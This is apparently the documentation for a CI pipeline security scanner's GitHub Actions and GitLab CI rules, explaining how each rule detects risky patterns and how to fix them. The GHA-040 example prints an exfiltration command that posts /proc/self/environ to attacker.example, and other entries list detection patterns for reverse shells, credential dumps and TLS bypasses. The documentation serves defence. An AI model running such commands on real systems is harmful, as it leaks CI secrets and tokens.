Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GHA-021 in the GitHub Actions provider.

GHA-022: Dependency update command bypasses lockfile pins MEDIUM 🔧 fix

Evidences: Dependency-Update-Tool Project uses an automated dependency-update tool (Dependabot / Renovate).

How this is detected. Detects pip install --upgrade, npm update, yarn upgrade, bundle update, cargo update, go get -u, and composer update. These commands bypass lockfile pins and pull whatever version is currently latest. Tooling upgrades (pip install --upgrade pip) are exempted.

Recommendation. Remove dependency-update commands from CI. Use lockfile-pinned install commands (npm ci, pip install -r requirements.txt) and update dependencies via a dedicated PR workflow (e.g. Dependabot, Renovate).

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Common build-tool bootstrapping idioms (pip install --upgrade pip, pip install --upgrade setuptools wheel virtualenv) and security-tool installs (pip install --upgrade pip-audit / cyclonedx-bom / semgrep) are exempted by the DEP_UPDATE_RE tooling allowlist. Other tooling-upgrade idioms not yet on the list can still trip the rule. Defaults to MEDIUM confidence so CI gates can require --min-confidence HIGH to ignore.

Source: GHA-022 in the GitHub Actions provider.

GHA-023: TLS / certificate verification bypass HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.

Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GHA-023 in the GitHub Actions provider.

GHA-024: No SLSA provenance attestation produced MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Provenance generation is distinct from signing. A signed artifact proves who published it; a provenance attestation proves where/how it was built. Consumers can then verify the build happened on a trusted runner, from a specific source commit, with known parameters. Without it, a leaked signing key forges identity but a leaked build environment also forges provenance. You need both for the SLSA L3 non-falsifiability guarantee.

Recommendation. Call slsa-framework/slsa-github-generator or actions/attest-build-provenance after the build step to emit an in-toto attestation alongside the artifact. cosign sign alone (covered by GHA-006) signs the artifact but doesn't record how it was built. SLSA Build L3 requires the provenance statement.

Source: GHA-024 in the GitHub Actions provider.

GHA-025: Reusable workflow not pinned to commit SHA HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. A reusable workflow runs with the caller's GITHUB_TOKEN and secrets by default. If uses: org/repo/.github/workflows/release.yml@v1 resolves to an attacker-modified commit, their code executes with your repository's permissions. This is the same threat model as unpinned step actions (GHA-001) but over a different uses: surface.

Recommendation. Pin every jobs.<id>.uses: reference to a 40-char commit SHA (owner/repo/.github/workflows/foo.yml@<sha>). Tag refs (@v1, @main) can be silently repointed by whoever controls the callee repository.

Source: GHA-025 in the GitHub Actions provider.

GHA-026: Container job disables isolation via options: HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. GitHub-hosted runners execute container: jobs inside a Docker container the runner itself manages, normally a hardened, network-namespaced sandbox. options: is a free-text passthrough to docker run; a flag that breaks the sandbox (shares host network/PID, runs privileged, maps the Docker socket) turns the job into an RCE on the runner VM.

Recommendation. Remove --network host, --privileged, --cap-add, --user 0/--user root, --pid host, --ipc host, and host -v bind-mounts from container.options and services.*.options. If a build genuinely needs one of these, move it to a dedicated self-hosted pool with branch protection so the flag doesn't reach PR runs.

Source: GHA-026 in the GitHub Actions provider.

GHA-027: Workflow contains indicators of malicious activity CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Distinct from the hygiene checks. GHA-016 flags curl | bash as a risky default; this rule fires only on concrete indicators, reverse shells, base64-decoded execution, known miner binaries or pool URLs, exfil-channel domains, credential-dump pipes, history-erasure commands. Categories reported: obfuscated-exec, reverse-shell, crypto-miner, exfil-channel, credential-exfil, audit-erasure.

Recommendation. Treat this as a potential pipeline compromise. Inspect the matching step(s), identify the author and the PR that introduced them, rotate any credentials the workflow has access to, and audit CloudTrail/AuditLogs for exfil. If the match is a legitimate red-team exercise, whitelist via .pipelinecheckignore with an expires: date, never a permanent suppression.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise workflows legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production workflow still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: GHA-027 in the GitHub Actions provider.

GHA-028: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. eval, sh -c "$X", and `$X` all re-parse the variable's value as shell syntax. If the value contains ;, &&, |, backticks, or $(), those metacharacters execute. Even when the variable source looks controlled today, relocating the script or adding a new caller can silently expose it to untrusted input.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec of variables with direct command invocation. If the command really must be dynamic, pass arguments as array members ("${ARGS[@]}") or validate the input against an allow-list before invocation.

Known false positives.

  • eval "$(ssh-agent -s)" and similar eval "$(<literal-tool> <literal-args>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd. The rule only fires when the substituted command references a variable.

Source: GHA-028 in the GitHub Actions provider.

GHA-029: Package install bypasses registry integrity (git / path / tarball source) MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Package installs that pull from git+… without a pinned commit, from a local path (./dir, file:…, absolute paths), or from a direct tarball URL are invisible to the normal lockfile integrity controls. A moving branch head, a sibling checkout the build assumes exists, or a tarball whose hash isn't verified all give an attacker who controls any of those surfaces the ability to substitute code into the build.

Recommendation. Pin git dependencies to a commit SHA (pip install git+https://…/repo@<sha>, cargo install --git … --rev <sha>). Publish private packages to an internal registry instead of installing from a filesystem path or tarball URL.

Source: GHA-029 in the GitHub Actions provider.

GHA-037: actions/checkout persists GITHUB_TOKEN into .git/config HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Detection fires on any step whose uses: starts with actions/checkout@ and whose with: block either omits persist-credentials (the unsafe default) or sets it to true explicitly.

This is the failure pattern Zizmor calls Artipacked and the StepSecurity / harden-runner audit set tracks as persist-credentials-default. Real-world exploit chains (the ultralytics 2024 RCE, multiple Mend / Snyk advisories) exploit exactly this primitive: a first checkout step persists the token, a later run: step (often a build script the attacker can influence via PR contents) reads .git/config and ships the token out.

Sister rule: GHA-019 catches the explicit echo $GITHUB_TOKEN > file shape; GHA-037 catches the implicit checkout-default that doesn't go through a run: line at all.

Recommendation. Set persist-credentials: false on every actions/checkout step that doesn't need to push back to the repo. The default in v3 / v4 is true, which writes the GITHUB_TOKEN into .git/config as an http.https://github.com/.extraheader line. Any subsequent run: step in the same job can read it with git config --get http.https://github.com/.extraheader and exfiltrate the token to a remote endpoint, even if that step's own scope is read-only. If the workflow genuinely needs to push (release publishing, doc-site deploys), do the push as the very next step and immediately follow with a checkout that sets persist-credentials: false so the token doesn't leak into later, less-trusted steps.

Known false positives.

  • Workflows that genuinely need persist-credentials: true to push back to the repo (a release-tag bot, a docs-deploy job, stefanzweifel/git-auto-commit-action) shouldn't suppress this rule globally; instead, scope persist-credentials: true to a named step, then run the push immediately, then use a fresh actions/checkout with persist-credentials: false so the token doesn't leak into later steps. Suppress on the specific step name only when the scoped pattern is in place.

Source: GHA-037 in the GitHub Actions provider.

GHA-038: Workflow re-enables retired ::set-env / ::add-path commands CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detection fires when ACTIONS_ALLOW_UNSECURE_COMMANDS is set to any truthy value at the workflow env: level, the job env: level, or any step's env: block. Accepted truthy spellings: true / 1 / yes / on (including quoted forms like "true" and case-insensitive variants like YES / On).

Sister rule GHA-031 catches direct uses of ::set-output:: / ::save-state:: in step scripts. GHA-038 catches the explicit re-enable flag, which is the strictly worse case: it implicitly accepts every ::set-env:: / ::add-path:: line that lands on the runner's stdout from any tool the step invokes, not just the workflow author's own echo commands. A downloaded build log, a container's startup banner, an upstream test runner's output, all become injection vectors.

Recommendation. Drop the ACTIONS_ALLOW_UNSECURE_COMMANDS env definition entirely, then migrate any leftover ::set-env:: / ::add-path:: workflow commands to the file-redirect form (echo "X=$VAL" >> "$GITHUB_ENV" and echo "$DIR" >> "$GITHUB_PATH"). GitHub disabled the legacy commands in 2020 specifically because they share the runner's stdout as a control channel: any log line starting with :: could inject environment variables, prepend to PATH, or set step outputs. Setting the override flag back to true re-opens that injection channel for the entire workflow scope.

Known false positives.

  • Some legacy actions (last-updated pre-2020) still emit ::set-env:: lines and rely on the override to be set. Replace the action rather than suppressing this rule, the security exposure outweighs the cost of an alternative action.

Source: GHA-038 in the GitHub Actions provider.

GHA-039: services / container credentials embedded as literal in workflow CRITICAL

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. GitHub Actions accepts a credentials: map on both the job-level container: block (the runner image) and on each services.<name>: entry (sidecar containers). The map is the documented way to pull a private image from a registry that requires auth, and it expects ${{ secrets.* }} references for both fields.

GHA-008 scans the workflow for credential patterns (AWS access keys, JWTs, Slack tokens, etc.) but doesn't trip on a plain password like hunter2 or a registry username like ci-deploy-bot. GHA-039 catches them by position: any literal value in a credentials.username / credentials.password field is by definition a leaked credential, regardless of its shape. Closes parity with Zizmor's hardcoded-container-credentials rule.

Recommendation. Move every services.<name>.credentials.username / credentials.password value (and the same field on a job-level container: block) out of the workflow YAML and into a repository or environment secret. Reference the secret via ${{ secrets.NAME }} from the same credentials block. Anything written as a literal is permanently visible in every fork of the repo, every build log that prints the runner's start banner, and every cached job summary, so the credential must be treated as compromised on the spot. The fix is the rotation, plus the secret reference, plus a check that no other workflow keeps the literal pattern.

Known false positives.

  • Workflows that legitimately use a public anonymous registry mirror occasionally hardcode username: anonymous / password: "" for clarity. Both shapes are filtered out automatically (empty / whitespace-only values, plus the literal anonymous username), but if your fixture uses another sentinel for anonymous access, suppress the specific job/service in the ignore-file rather than the rule globally.

Source: GHA-039 in the GitHub Actions provider.

GHA-040: Action reference matches a known-compromised SHA or tag CRITICAL

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Walks every workflow's steps[].uses: and jobs.<id>.uses: references against the curated compromised-action registry in pipeline_check.core.checks.github._compromised_actions. Match is case-insensitive on owner / repo and exact on the ref value (commit SHA or tag name). Registry is deliberately small and append-only — refresh by PR with the citing advisory in the commit message; no fetch-from-network registry to avoid taking on a telemetry surface.

Recommendation. Rotate every secret that may have been reachable to a workflow run that hit the compromised reference, then update the uses: reference to a known-clean SHA published by the upstream maintainer post-incident (usually announced in the advisory body). Audit CI logs for the affected window for any sign that the malicious payload ran against this repo.

Known false positives.

  • The registry covers only public, advisory-confirmed compromises. Pre-disclosure compromises and yet-unpublished maintainer-account takeovers do not land until the citing CVE / GHSA exists. Pair with GHA-001 (SHA pinning) and GHA-025 (tag-rewrite detection) for the prevention angle.

Seen in the wild.

  • tj-actions/changed-files compromise (CVE-2025-30066, March 2025): the canonical case the registry was built for. Roughly 23,000 tag-pinned repos shipped CI secrets to an exfiltration endpoint over a ~24-hour window before GitHub blocked the malicious commits.
  • reviewdog/action-setup compromise (CVE-2025-30154, March 2025): same week as tj-actions; smaller blast radius but identical mechanism. Tag-pinned consumers were affected; SHA-pinned consumers who happened to match the malicious commit were also affected.

Proof of exploit.

Vulnerable: pinned to a SHA the attacker landed under @v45.

Same applies to tag pins that resolved to the malicious

commit during the compromise window:

  • uses: tj-actions/changed-files@v45 # WAS pointing at the bad commit

Attack: the action body exfiltrated CI secrets to a

Memdump-style endpoint:

# curl -X POST https://attacker.example/exfil \

-d "$(cat /proc/self/environ)"

Every workflow run that hit one of those refs over the

~24-hour exposure window leaked the entire env block,

including ${{ secrets.* }} and GITHUB_TOKEN.

Safe: pin to the post-incident clean SHA the maintainer

published in the advisory:

Source: GHA-040 in the GitHub Actions provider.

GL-001: Image not pinned to specific version or digest HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Floating tags (latest or major-only) can be silently swapped under the job. Every image: reference should pin a specific version tag or digest.

Recommendation. Reference images by @sha256:<digest> or at minimum a full immutable version tag (e.g. python:3.12.1-slim). Avoid :latest and bare tags like :3.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GL-001 in the GitLab CI provider.

GL-002: Script injection via untrusted commit/MR context HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. CI_COMMIT_MESSAGE / CI_COMMIT_REF_NAME / CI_MERGE_REQUEST_TITLE and friends are populated from SCM event metadata the attacker controls. Interpolating them into a shell body executes the crafted content as part of the build.

Recommendation. Read these values into intermediate variables: entries or shell variables and quote them defensively ("$BRANCH"). Never inline $CI_COMMIT_MESSAGE / $CI_MERGE_REQUEST_TITLE into a shell command.

Source: GL-002 in the GitLab CI provider.

GL-003: Variables contain literal secret values CRITICAL

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Scans variables: at the top level and on each job for entries whose KEY looks credential-shaped and whose VALUE is a literal string (not a $VAR reference). AWS access keys are detected by value pattern regardless of key name.

Recommendation. Store credentials as protected + masked CI/CD variables in project or group settings, and reference them by name from the YAML. For cloud access prefer short-lived OIDC tokens.

Source: GL-003 in the GitLab CI provider.

GL-004: Deploy job lacks manual approval or environment gate MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. A job whose stage or name contains deploy / release / publish / promote should either require manual approval or declare an environment: binding. Otherwise any push to the trigger branch ships to the target.

Recommendation. Add when: manual (optionally with rules: for protected branches) or bind the job to an environment: with a deployment tier so approvals and audit are enforced by GitLab's environment controls.

Source: GL-004 in the GitLab CI provider.

GL-005: include: pulls remote / project without pinned ref HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Cross-project and remote includes can be silently re-pointed. Branch-name refs (main/master/develop/head) are treated as unpinned; tag and SHA refs are considered safe.

Recommendation. Pin include: project: entries with ref: set to a tag or commit SHA. Avoid include: remote: for untrusted URLs; mirror the content into a trusted project and pin it.

Source: GL-005 in the GitLab CI provider.

GL-006: Artifacts not signed MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Unsigned artifacts can't be verified downstream, so a tampered build is indistinguishable from a legitimate one. Pass when any of cosign / sigstore / slsa-* / notation-sign appears in the pipeline text.

Recommendation. Add a job that runs cosign sign (keyless OIDC with GitLab's id_tokens works out of the box) or notation sign. Publish the signature next to the artifact and verify it on consume.

Source: GL-006 in the GitLab CI provider.

GL-007: SBOM not produced MEDIUM

Evidences: SBOM Releases publish a software bill of materials.

How this is detected. Without an SBOM, downstream consumers can't audit the dependency set shipped in the artifact. Passes when CycloneDX / syft / anchore / spdx-sbom-generator / sbom-tool / Trivy-SBOM appears in the pipeline body.

Recommendation. Add an SBOM step, syft . -o cyclonedx-json, Trivy with --format cyclonedx, or GitLab's built-in CycloneDX dependency-scanning template. Attach the SBOM as a pipeline artifact.

Source: GL-007 in the GitLab CI provider.

GL-008: Credential-shaped literal in pipeline body CRITICAL 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Complements GL-003 (which looks at variables: block keys). GL-008 scans every string in the pipeline against the cross-provider credential-pattern catalog, catches secrets pasted into script: bodies or environment blocks where the name-based detector can't see them.

Recommendation. Rotate the exposed credential immediately. Move the value to a protected + masked CI/CD variable and reference it by name. For cloud access prefer short-lived OIDC tokens.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example AKIAIOSFODNN7EXAMPLE is deliberately NOT suppressed, if it appears in a real pipeline it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.

Source: GL-008 in the GitLab CI provider.

GL-009: Image pinned to version tag rather than sha256 digest LOW

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. GL-001 fails floating tags at HIGH; GL-009 is the stricter tier. Even immutable-looking version tags (python:3.12.1) can be repointed by registry operators. Digest pins are the only tamper-evident form.

Recommendation. Resolve each image to its current digest (docker buildx imagetools inspect <ref> prints it) and replace the tag with @sha256:<digest>. Automate refreshes with Renovate.

Source: GL-009 in the GitLab CI provider.

GL-011: include: local file pulled in MR-triggered pipeline HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. include: local: '<path>' resolves from the current pipeline's checked-out tree. On an MR pipeline the tree is the MR source branch, the MR author controls the included YAML content.

Recommendation. Move the included template into a separate, read-only project and reference it via include: project: ... ref: <sha-or-tag>. That way the included content is fixed at MR creation time and not editable from the MR branch.

Source: GL-011 in the GitLab CI provider.

GL-012: Cache key derives from MR-controlled CI variable MEDIUM

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. GitLab caches restore by key prefix. When the key includes an MR-controlled variable, an attacker can poison a cache entry that a later default-branch pipeline restores.

Recommendation. Build the cache key from values the MR can't control: lockfile contents (files: [Cargo.lock]), the job name, and $CI_PROJECT_NAMESPACE. Never reference $CI_MERGE_REQUEST_* or $CI_COMMIT_BRANCH from a cache key namespace.

Source: GL-012 in the GitLab CI provider.

GL-013: AWS auth uses long-lived access keys MEDIUM 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Long-lived AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY values in CI/CD variables can't be rotated on a fine-grained schedule. GitLab supports OIDC via id_tokens: for short-lived credential injection.

Recommendation. Use GitLab CI/CD OIDC with id_tokens: to obtain short-lived AWS credentials via sts:AssumeRoleWithWebIdentity. Remove static AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY from CI/CD variables.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GL-013 in the GitLab CI provider.

GL-016: Remote script piped to shell interpreter HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a pipeline. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the CI runner.

Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.

Source: GL-016 in the GitLab CI provider.

GL-018: Package install from insecure source HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detects package-manager invocations that use plain HTTP registries (--index-url http://, --registry=http://) or disable TLS verification (--trusted-host, --no-verify) in a pipeline. These patterns allow man-in-the-middle injection of malicious packages.

Recommendation. Use HTTPS registry URLs. Remove --trusted-host and --no-verify flags. Pin to a private registry with TLS.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GL-018 in the GitLab CI provider.

GL-019: No vulnerability scanning step MEDIUM

Evidences: SAST Project uses static analysis / vulnerability scanning, Vulnerabilities Project scans for and resolves known vulnerabilities.

How this is detected. Without a vulnerability scanning step, known-vulnerable dependencies ship to production undetected. The check recognises trivy, grype, snyk, npm audit, yarn audit, safety check, pip-audit, osv-scanner, and govulncheck.

Recommendation. Add a vulnerability scanning step, trivy, grype, snyk test, npm audit, pip-audit, or osv-scanner. Publish results so vulnerabilities surface before deployment.

Source: GL-019 in the GitLab CI provider.

GL-020: CI_JOB_TOKEN written to persistent storage CRITICAL 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Detects patterns where CI_JOB_TOKEN is redirected to a file, piped through tee, or appended to dotenv/artifact paths. Persisted tokens survive the job boundary and can be read by later stages, downloaded artifacts, or cache entries, turning a scoped credential into a long-lived one.

Recommendation. Never write CI_JOB_TOKEN to files, artifacts, or dotenv reports. Use the token inline in the command that needs it and let GitLab revoke it automatically when the job finishes.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GL-020 in the GitLab CI provider.

GL-021: Package install without lockfile enforcement MEDIUM 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.

Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GL-021 in the GitLab CI provider.

GL-022: Dependency update command bypasses lockfile pins MEDIUM 🔧 fix

Evidences: Dependency-Update-Tool Project uses an automated dependency-update tool (Dependabot / Renovate).

How this is detected. Detects pip install --upgrade, npm update, yarn upgrade, bundle update, cargo update, go get -u, and composer update. These commands bypass lockfile pins and pull whatever version is currently latest. Tooling upgrades (pip install --upgrade pip) are exempted.

Recommendation. Remove dependency-update commands from CI. Use lockfile-pinned install commands (npm ci, pip install -r requirements.txt) and update dependencies via a dedicated PR workflow (e.g. Dependabot, Renovate).

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Common build-tool bootstrapping idioms (pip install --upgrade pip, pip install --upgrade setuptools wheel virtualenv) and security-tool installs (pip install --upgrade pip-audit / cyclonedx-bom / semgrep) are exempted by the DEP_UPDATE_RE tooling allowlist. Other tooling-upgrade idioms not yet on the list can still trip the rule. Defaults to MEDIUM confidence so CI gates can require --min-confidence HIGH to ignore.

Source: GL-022 in the GitLab CI provider.

GL-023: TLS / certificate verification bypass HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detects patterns that disable TLS certificate verification: git config http.sslVerify false, NODE_TLS_REJECT_UNAUTHORIZED=0, npm config set strict-ssl false, curl -k, wget --no-check-certificate, PYTHONHTTPSVERIFY=0, and GOINSECURE=. Disabling TLS verification allows MITM injection of malicious packages, repositories, or build tools.

Recommendation. Remove TLS verification bypasses. Fix certificate issues at the source (install CA certificates, configure proper trust stores) instead of disabling verification.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GL-023 in the GitLab CI provider.

GL-024: No SLSA provenance attestation produced MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. cosign sign and cosign attest look similar but mean different things: the first binds identity to bytes; the second binds a structured claim (builder, source, inputs) to the artifact. SLSA Build L3 verifiers check the latter.

Recommendation. Add a job that runs cosign attest against a provenance.intoto.jsonl statement, or adopt a SLSA-aware builder (the SLSA project ships GitLab templates). Signing the artifact (GL-006) isn't enough for SLSA L3, the attestation describes how the build ran.

Source: GL-024 in the GitLab CI provider.

GL-025: Pipeline contains indicators of malicious activity CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Fires on concrete indicators (reverse shells, base64-decoded execution, miner binaries, Discord/Telegram webhooks, webhook.site callbacks, env | curl credential dumps, history -c audit erasure). Orthogonal to GL-003 (curl pipe) and GL-017 (Docker insecure flags). Those flag risky defaults; this flags evidence.

Recommendation. Treat as a potential compromise. Identify the MR that added the matching job(s), rotate any credentials the pipeline can reach, and audit recent runs for outbound traffic to the matched hosts. A legitimate red-team exercise should be time-bounded via .pipelinecheckignore with expires:.

Known false positives.

  • Security-training repositories, CTF challenges, and red-team exercise pipelines legitimately contain reverse-shell strings or exfil domains as literals. Matches inside YAML keys / HCL attributes whose names contain example, fixture, sample, demo, or test are auto-suppressed; bare lines in a production pipeline still fire.
  • Defaults to LOW confidence. Filter with --min-confidence MEDIUM to ignore all matches; the rule still surfaces the hit for teams that want to spot-check.

Source: GL-025 in the GitLab CI provider.

GL-026: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. eval, sh -c "$X", and `$X` all re-parse the variable's value as shell syntax. Once a CI variable feeds into one of these idioms, any ;, &&, |, backtick, or $() in the value executes, even if the variable's source is currently trusted, future refactors may expose it.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec of variables with direct command invocation. If the command must be dynamic, pass arguments as array members or validate the input against an allow-list at the boundary.

Known false positives.

  • eval "$(ssh-agent -s)" and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Source: GL-026 in the GitLab CI provider.

GL-027: Package install bypasses registry integrity (git / path / tarball source) MEDIUM

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Complements GL-021 (missing lockfile flag). Git URL installs without a commit pin, local-path installs, and direct tarball URLs all bypass the registry integrity controls the lockfile relies on, an attacker who can move a branch head, drop a sibling checkout, or change a served tarball can substitute code into the build.

Recommendation. Pin git dependencies to a commit SHA (pip install git+https://…/repo@<sha>, cargo install --git … --rev <sha>). Publish private packages to an internal registry instead of installing from a filesystem path or tarball URL.

Source: GL-027 in the GitLab CI provider.

GL-028: services: image not pinned HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. services: entries (top-level or per-job) can be either a string (redis:7) or a dict ({name: redis:7, alias: cache}). Both forms are normalized via image_ref-style extraction and evaluated with the same floating-tag regex GL-001 uses for image:.

Recommendation. Pin every services: entry the same way image: is pinned, prefer @sha256:<digest>, or at minimum a full immutable version tag (postgres:16.2-alpine). Avoid :latest and bare tags like :16.

Source: GL-028 in the GitLab CI provider.

GL-029: Manual deploy job defaults to allow_failure: true MEDIUM

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. This is the most common GitLab deployment gotcha: a manual deploy job looks like a gate in the UI, but the pipeline reports success on the first run because the job is marked allow_failure by default. Downstream jobs (and the overall pipeline status) proceed as though the human approved.

Recommendation. Add allow_failure: false to every deploy-like when: manual job. GitLab defaults allow_failure to true for manual jobs, which makes the pipeline report success whether or not the operator clicks, exactly the opposite of the gate you meant to add.

Source: GL-029 in the GitLab CI provider.

GL-030: trigger: include: pulls child pipeline without pinned ref HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. GL-005 only audits top-level include:. Parent-child and multi-project pipelines that load YAML via the job-level trigger: include: slot slip through. Branch refs (main/master/develop/head) count as unpinned.

Recommendation. Pin trigger: include: project: entries with ref: set to a tag or commit SHA. Avoid trigger: include: remote: for untrusted URLs; mirror the content into a trusted project and pin it there.

Source: GL-030 in the GitLab CI provider.

GL-033: Global before_script / after_script propagates taint to every job HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. GL-002 catches injection in per-job before_script: / script: / after_script:, but its scanner walks iter_jobs which deliberately skips top-level keywords (before_script, after_script, default, image, services, variables, stages, workflow, include, ...). That means a tainted $CI_COMMIT_TITLE interpolation in a document-root before_script: or default.before_script: evades GL-002 entirely, even though it propagates to every job in the pipeline.

GL-033 closes that gap. It scans:

  • before_script: at document root
  • after_script: at document root
  • default.before_script: (the modern form)
  • default.after_script:

for direct interpolation of the same attacker-controllable predefined variables tracked by GL-002 (CI_COMMIT_TITLE / CI_COMMIT_MESSAGE / CI_COMMIT_REF_NAME / CI_MERGE_REQUEST_TITLE / CI_MERGE_REQUEST_SOURCE_BRANCH_NAME / etc.). The detection mirrors GL-002's has_direct_taint helper so the quote-aware semantics are identical.

